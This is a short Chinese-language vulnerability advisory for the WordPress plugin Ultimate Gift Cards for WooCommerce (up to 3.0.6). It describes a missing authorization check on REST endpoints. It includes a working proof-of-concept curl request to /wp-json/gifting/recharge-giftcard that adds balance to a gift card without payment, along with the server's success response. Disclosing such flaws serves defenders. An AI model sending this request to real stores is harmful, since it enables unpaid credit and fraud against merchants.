Ultimate Gift Cards for WooCommerce <= 3.0.6 - 未授权访问导致无限金钱漏洞
适用于 WordPress 的 Ultimate Gift Cards for WooCommerce 插件(用于创建 WooCommerce 礼品卡、礼品券,兑换和管理数字礼品优惠券;提供礼品证书、定时发送礼品卡,并使用带个性化模板的高级优惠券)在直至 3.0.6 的所有版本中,由于多个 REST API 端点(例如 /wp-json/gifting/recharge-giftcard)缺少权限检查,因此容易遭受未授权的数据修改。这使得未经身份验证的攻击者无需付款即可为礼品卡余额充值,也无需购买任何东西即可减少礼品卡余额。
curl -X POST \
https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
-H 'Content-Type: application/json' \
-d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'
{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}